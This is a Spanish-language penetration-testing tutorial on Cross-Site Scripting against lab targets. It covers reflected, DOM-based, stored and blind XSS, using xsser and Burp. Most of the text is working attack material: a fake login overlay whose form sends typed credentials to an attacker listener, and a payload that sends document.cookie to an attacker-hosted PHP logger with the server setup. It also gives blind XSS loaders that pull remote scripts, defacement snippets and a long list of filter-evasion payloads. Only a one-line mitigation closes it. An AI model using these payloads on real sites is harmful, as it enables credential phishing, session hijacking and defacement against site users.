Cross Site Scripting (XSS)

Secuencias de comandos en sitios cruzados

Featured image

Es una vulnerabilidad que permite a un atacante controlar parte del contenido de una aplicación web, al explotar un XSS, el atacante puede realizar algunas de las siguientes opciones:

Las vulnerabilidades XSS se producen cuando una aplicación web utiliza entradas de usuario no filtradas para construir el contenido de salida que se muestra a sus usuarios finales; esto permite a un atacante controlar el código HTML y JavaScript de salida, en donde la entrada de uso es cualquier parámetro procedente del lado del cliente de la aplicación web como por ejemplo:

Identificación de Vulnerabilidad

La forma más simple de verificar un Cross Site Scripting es por medio de la siguiente inyección:

<script>alert('XSS')</script>

xsssimpletest1

xsssimpletest2

En aplicaciones web modernas, a veces se usan IFrames (ventanas incrustadas en una página web) para manejar la entrada de los usuarios. Estos IFrames pueden pertenecer a un dominio diferente al de la página principal. Si hay una vulnerabilidad XSS (Cross-Site Scripting) en el formulario dentro del IFrame, no necesariamente significa que la página web principal también sea vulnerable, ya que el IFrame está separado y aislado.

<script>alert(window.origin)</script>

Al realizar una prueba de XSS, si usas window.origin en el mensaje de alerta en lugar de un valor fijo como “1” o “XSS”, puedes identificar en qué URL o dominio se ejecuta el script. Esto es útil para determinar si el formulario vulnerable está en el IFrame o en la página principal. Si el cuadro de alerta muestra la URL del IFrame, confirma que la vulnerabilidad está ahí y no necesariamente en la página web principal.

Una URL de IFrame se refiere a la dirección web que se carga dentro de un elemento IFrame en una página HTML.

También serviría ocupar la función print() que cuando se ejecuta en un navegador abre el cuadro de diálogo de impresión, que es el mismo que aparecería si seleccionaramos la opción de imprimir desde el menú del navegador.

<script>print()</script>

Otra opción de verificación es por medio de la herramienta xsser, en donde se usará Burpsuite para extraer la información necesaria para realizar el ataque:

burpxss

En la parte en que dice “test”, se reemplaza por “XSS” y ejecutamos xsser con los siguiente parámetros:

┌──(root㉿kali)-[/XSS]
└─ xsser --url 'http://10.1.1.37/multillidae/index.php?page=dns-lookup.php' -p 'target_host=XSS&dns-lookup-php-submit-button=Lookup+DNS'

Y como se aprecia encontró la vulnerabilidad existente en este sitio web:

xssertest1

Otras opciones que se pueden tener en consideración son las siguientes:

Opción Descripción
–auto Aplica múltiples payloads para verificar la vulnerabilidad.
–Fp Con este parámetro se puede testear un payload propio, ocupando la siguiente forma como ejemplo, --Fp "<script>alert('XSS')</script>"

Para este caso se habla de un XSS reflejado, pues los ataques reflejados se producen cuando la carga maliciosa se transporta dentro de la solicitud que el navegador de la víctima envía al sitio web vulnerable.

Pueden desencadenarse mediante la publicación de un enlace en una red social o a través de una campaña de phishing. Cuando los usuarios hacen clic en el enlace, desencadenan el ataque.

XSS Reflejado (No Persistente)

Las vulnerabilidades XSS Reflejadas ocurren cuando los datos que introduces en una página web son enviados al servidor y luego devueltos a ti en la página sin ser adecuadamente filtrados o limpiados. Este tipo de vulnerabilidad es común en situaciones donde el servidor utiliza tu entrada para generar una respuesta, como en mensajes de error o confirmación.

Un ejemplo de explotación es el siguiente:

xssurl

Al recargar la página deberíamos ejecutar otra vez un payload (no se guarda) y para este caso ocuparemos ciertos filtros de URL Encode:

xssurlencode

DOM XSS (No Persistente)

El XSS basado en DOM, o Non-Persistent DOM-based XSS, es un tipo de vulnerabilidad de seguridad en aplicaciones web donde el ataque se ejecuta completamente en el lado del cliente, es decir, en el navegador del usuario, a través de JavaScript. A diferencia del XSS Reflejado, que implica enviar datos al servidor y recibir una respuesta, el XSS basado en DOM se centra en manipular el Document Object Model (DOM) de la página web con JavaScript.

Para entender la vulnerabilidad XSS basada en DOM, es crucial comprender dos conceptos clave: “Source” (Fuente) y “Sink” (Destino). Aquí te explico cada uno y cómo se relacionan con XSS:

  1. Source (Fuente):
    • En el contexto de XSS, un “Source” es cualquier objeto de JavaScript que recibe entrada del usuario. Esta entrada puede provenir de varias fuentes, como parámetros de URL, campos de formulario, o cualquier otro medio por el cual los datos ingresados por el usuario lleguen al script de la página.
    • Por ejemplo, location.search en JavaScript se usa a menudo para leer los parámetros de la URL, y sería considerado un “Source”.
  2. Sink (Destino):
    • Un “Sink” es una función o método que escribe o modifica el contenido del DOM en una página web basándose en la entrada recibida. Si estas funciones no sanan o validan adecuadamente las entradas del usuario antes de usarlas, se vuelven vulnerables a ataques XSS.
    • Ejemplos de funciones “Sink” en JavaScript son document.write(), innerHTML, y outerHTML. En bibliotecas como jQuery, funciones como add(), after(), y append() también actúan como “Sinks”.
  3. Riesgo de Vulnerabilidad:
    • Si una función “Sink” escribe directamente la entrada del usuario en el DOM sin sanearla, entonces la página es vulnerable a XSS. Esto se debe a que el script malicioso proporcionado por el usuario se ejecutará en el contexto de la página.
    • Aunque algunas funciones como innerHTML no permiten la ejecución de etiquetas <script> directamente como medida de seguridad, aún hay muchas otras maneras de ejecutar scripts maliciosos sin necesidad de usar la etiqueta <script>. Es decir, se pueden usar eventos como onmouseover o modificar otros elementos del DOM para ejecutar código JavaScript. Por ejemplo tenemos el siguiente payload:
       <img src="" onerror=alert(window.origin)>
      

Ejemplo (phishing)

En esta situación tenemos una web con una vulnerabilidad XSS, en esta ocasión se probará inyectar un panel de login ocupando innerHTML, de la siguiente forma:

  1. Modificar el Contenido del Cuerpo del Documento (document.body.innerHTML +=):
    • document.body.innerHTML += añade el contenido HTML especificado al final del cuerpo del documento HTML actual.
    • Esto significa que el HTML proporcionado se insertará en la página sin eliminar el contenido existente.
  2. Creación de un Elemento div con Estilo Específico:
    • Se crea un nuevo elemento div con un estilo que lo hace cubrir toda la pantalla (position: fixed; top: 0; left: 0; width: 100%; height: 100%).
    • El fondo semitransparente (background-color: rgba(0,0,0,0.5)) da la impresión de una superposición oscura.
    • El z-index muy alto asegura que este div esté por encima de todos los otros elementos en la página.
  3. Formulario de Phishing:
    • Dentro del div, se añade un formulario (<form>).
    • Este formulario está estilizado para aparecer en el centro de la pantalla y parece una ventana de inicio de sesión legítima.
    • El formulario solicita un nombre de usuario y una contraseña.
  4. Acción del Formulario:
    • La acción del formulario (action="http://10.10.14.173:1234") indica que los datos ingresados se enviarán a la dirección IP 10.10.14.173 en el puerto 1234 cuando se envíe el formulario.
  5. Elementos de Entrada:
    • El formulario contiene dos campos de entrada para el nombre de usuario y la contraseña, y un botón para enviar el formulario.
document.body.innerHTML += '<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.5); z-index: 2147483647;"><form action="http://10.10.14.173:1234" method="post" style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 20px; background: white; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.5); z-index: 2147483647; document.getElementById('urlform').remove()"><h2 style="color: black; z-index: 2147483647;">Login</h2><input type="text" name="username" placeholder="Username" style="z-index: 2147483647;"><input type="password" name="password" placeholder="Password" style="z-index: 2147483647;"><input type="submit" value="Login" style="z-index: 2147483647;"></form></div><!--

xssphishing1

La víctima ingresará sus credenciales e iniciará sesión:

xssphishing2

Una vez se envían los datos, recibimos el usuario y la contraseña por el puerto en el que nos encontramos en escucha:

xssphishing3

Otra opción que realice algo parecido pero con la función document.write() sería el siguiente payload:

document.write('<h3>Please login to continue</h3><form action=http://10.10.14.173:1234><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

En resumen, la vulnerabilidad XSS basada en DOM ocurre cuando los datos ingresados por el usuario (Source) se pasan a través de una función que modifica el DOM (Sink) sin una adecuada limpieza o validación. Esto permite la inyección y ejecución de scripts maliciosos, lo que puede llevar a diversas actividades malintencionadas, como robo de cookies, phishing, o manipulación de contenido web.

Diferencias entre XSS reflejado y DOM XSS

Característica XSS Reflejado No Persistente XSS basado en DOM No Persistente
Origen de la Vulnerabilidad En el servidor. En el cliente.
Interacción con el Servidor La entrada del usuario se envía al servidor y se refleja en la respuesta. No hay interacción con el servidor; la entrada del usuario se procesa en el cliente.
Ejecución del Script El script se ejecuta cuando el servidor devuelve la entrada en la respuesta. El script se ejecuta directamente en el navegador del usuario mediante manipulación del DOM.
Solicitudes HTTP Visibles Sí (las solicitudes y respuestas HTTP son visibles en las herramientas del navegador). No (no se realizan solicitudes HTTP adicionales relacionadas con la vulnerabilidad).

XSS almacenado (Persistente)

Los ataques XSS persistentes se producen cuando la carga útil se envía al servidor web vulnerable y luego se almacena, es decir, el código malicioso se entrega cada vez que un navegador web accede a la página web inyectada (o recarga la página).

Un ejemplo es el siguiente en que siempre mostrará la cookie de sesión del usuario, las veces que se ingrese a la web:

xsssimplecookie

xsssimplecookieresonse

Y si se recarga la web infectada, seguiremos recibiendo como una respuesta persistente la cookie de sesión:

xsssimplecookiereload

xsssimplecookiereloadpersist

Tal como se mostró en el ejemplo anterior existe la opción de que por medio de un Cross Site Scripting se roben cookies de sesión, pero para esta situación enviaremos las cookies a un servidor que simule el del atacante, a través del siguiente archivo en php:

<?php
$filename="/tmp/log.txt";
$fp=fopen($filename, 'a');
$cookie=$_GET['q'];
fwrite($fp, $cookie);
fclose($fp);
?>

Luego para poder recibir las cookies nos montamos un servidor con python verificando que en la carpeta en que se inicie se encuentre el archivo log.php:

┌──(root㉿kali)-[/XSS]
└─ ls
log.php

┌──(root㉿kali)-[/XSS]
└─ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Para este ejemplo inyectaremos el siguiente payload, el cual genera un objeto imagen y apunta su “src” a un script en el servidor del atacante (10.1.1.19):

<script>var i = new Image(); i.src="http://10.1.1.19/log.php?q="+document.cookie;</script>

xssservercookie

Y recibimos la cookie en nuestro servidor:

xssservercookieresponse

Este se recibirá las veces que se ingrese a la página web atacada:

xssservercookiereload

xssservercookiereloadpy

Blind XSS

El Blind XSS es una variante de los ataques XSS que es más difícil de detectar y explotar que los ataques XSS tradicionales. En un ataque Blind XSS, el script malicioso inyectado no se ejecuta inmediatamente en el sitio web que el atacante está viendo. En cambio, se activa cuando el código malicioso es visto por un usuario diferente, generalmente un usuario interno como un administrador de sistemas o soporte técnico.

Para identificar este tipo de ataques, tenemos los siguientes payloads:

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

En este caso lo probaremos en un formulario de registro en donde para identificar el campo vulnerable le daremos nombres referenciales para visualizarlo de forma más fácil:

"><script src="http://10.10.14.173:1234/name"></script>
"><script src="http://10.10.14.173:1234/username"></script>
"><script src="http://10.10.14.173:1234/password"></script>
"><script src="http://10.10.14.173:1234/profile"></script>

xssblind1

Cuando le damos a “register”, nuestro puerto a la escucha en netcat responde con un GET en el parámetro vulnerable:

xssblind2

Finalmente aplicando las ténicas de robo de cookies vistas anteriormente, nos guardamos en un archivo “script.js” el payload y en otro el “log.php”:

xssblind5

Y aplicando la siguiente inyección:

"><script src="http://10.10.14.173/script.js"></script>

xssblind3

Obtenemos la cookie de sesión:

xssblind4

Desfiguración de página web

El uso de JavaScript inyectado a través de XSS para alterar la apariencia de una página web se conoce como “desfiguración” o defacement. A menudo, el objetivo es dejar un mensaje claro, como un anuncio de “hackeo”. A continuación, se describen las formas de realizar estas modificaciones:

  1. Cambiar Color de Fondo y Fondo de la Página:
    • Cambiar el color de fondo: document.body.style.background.
    • Cambiar la imagen de fondo: document.body.background.
  2. Modificar el Título de la Página:
    • Cambiar el título: document.title.
    • Ejemplo de código:
      <script>document.title = 'Hacked';</script>
      
  3. Cambiar Texto de la Página:
    • Modificar texto de un elemento específico: innerHTML.
    • Ejemplo para cambiar contenido de un elemento con ID “todo”:
      document.getElementById("todo").innerHTML = "Hacked";
      
    • Con jQuery:
      $("#todo").html('Hacked');
      
  4. Modificar Todo el Contenido de la Página:
    • Cambiar todo el contenido de la página: innerHTML en body.
    • Ejemplo de código:
      document.getElementsByTagName('body')[0].innerHTML = "Hacked";
      
    • Usar jQuery si está disponible en la página.

Estos métodos permiten la personalización del texto y el estilo de la página para adaptarse a necesidades específicas, generalmente dejando un mensaje simple y directo. La preparación del código HTML por separado y su inyección mediante innerHTML permite cambios más detallados.

Evasión de filtros


<svg><circle><set onbegin=prompt(1) attributename=fill>
["');alert('XSS');//"]@xyz.xxx
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101))</SCRIPT>
%22%3E%3Csvg%20onload%3dalert%26%230000000040%22100%22)%3E
a%22%20accesskey%3d%22x%22%20onclick%3d%22alert(document.domain)%22%20test%3d%22test%3dxss
\u003e\u003cimg src=1 onerror=alert(0)\u003e
<abdool attr=" --- x="=='='onmouseover=confirm`abdool` style="display:block;width:1000px;height:1000px;background:red">
test"><img src=x on0x=1 onerror=alert(/POC/)>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")>
"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//
javaScRipt:Alert(‘1’)
<svg onload=eval(location.hash.slice(1))>
"><svg/onload=alert%26%230000000040"Hacked")>
<iframe src="data:image/svg+xml;base64,CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICA8aW1hZ2UgaHJlZj0ieCIgb25lcnJvcj0iamF2YXNjcmlwdDphbGVydCgncHduZWQgZXJuYW5zJykiIC8+Cjwvc3ZnPg=="/>
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">
test"%20onmouseover="prompt%26%2300000000000000000040;%27XSS%27%26%2300000000000000000041;
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
test@gmail.com%2527%5C%2522%253E%253Csvg%2Fonload%3Dalert%28%2Fxss%2F%29%253E
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:50px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
%09Jav%09ascript:alert(document.domain)
%3CSvg%20Only%3D1%20OnLoad%3Dconfirm(1)%3E
"%3e%3cImG%20sRC=X%20OneRRoR=alert(document.cookie)%20"%3c
xyz"/ng-click="constructor.constructor('alert(1)')()
"><svg+onload=confirm(cookie)>

Recomendación

Todos estos canales de entrada deben ser validados por el servidor mediante funciones de seguridad bien implementadas que deben desinfectar o filtrar la entrada de los usuarios.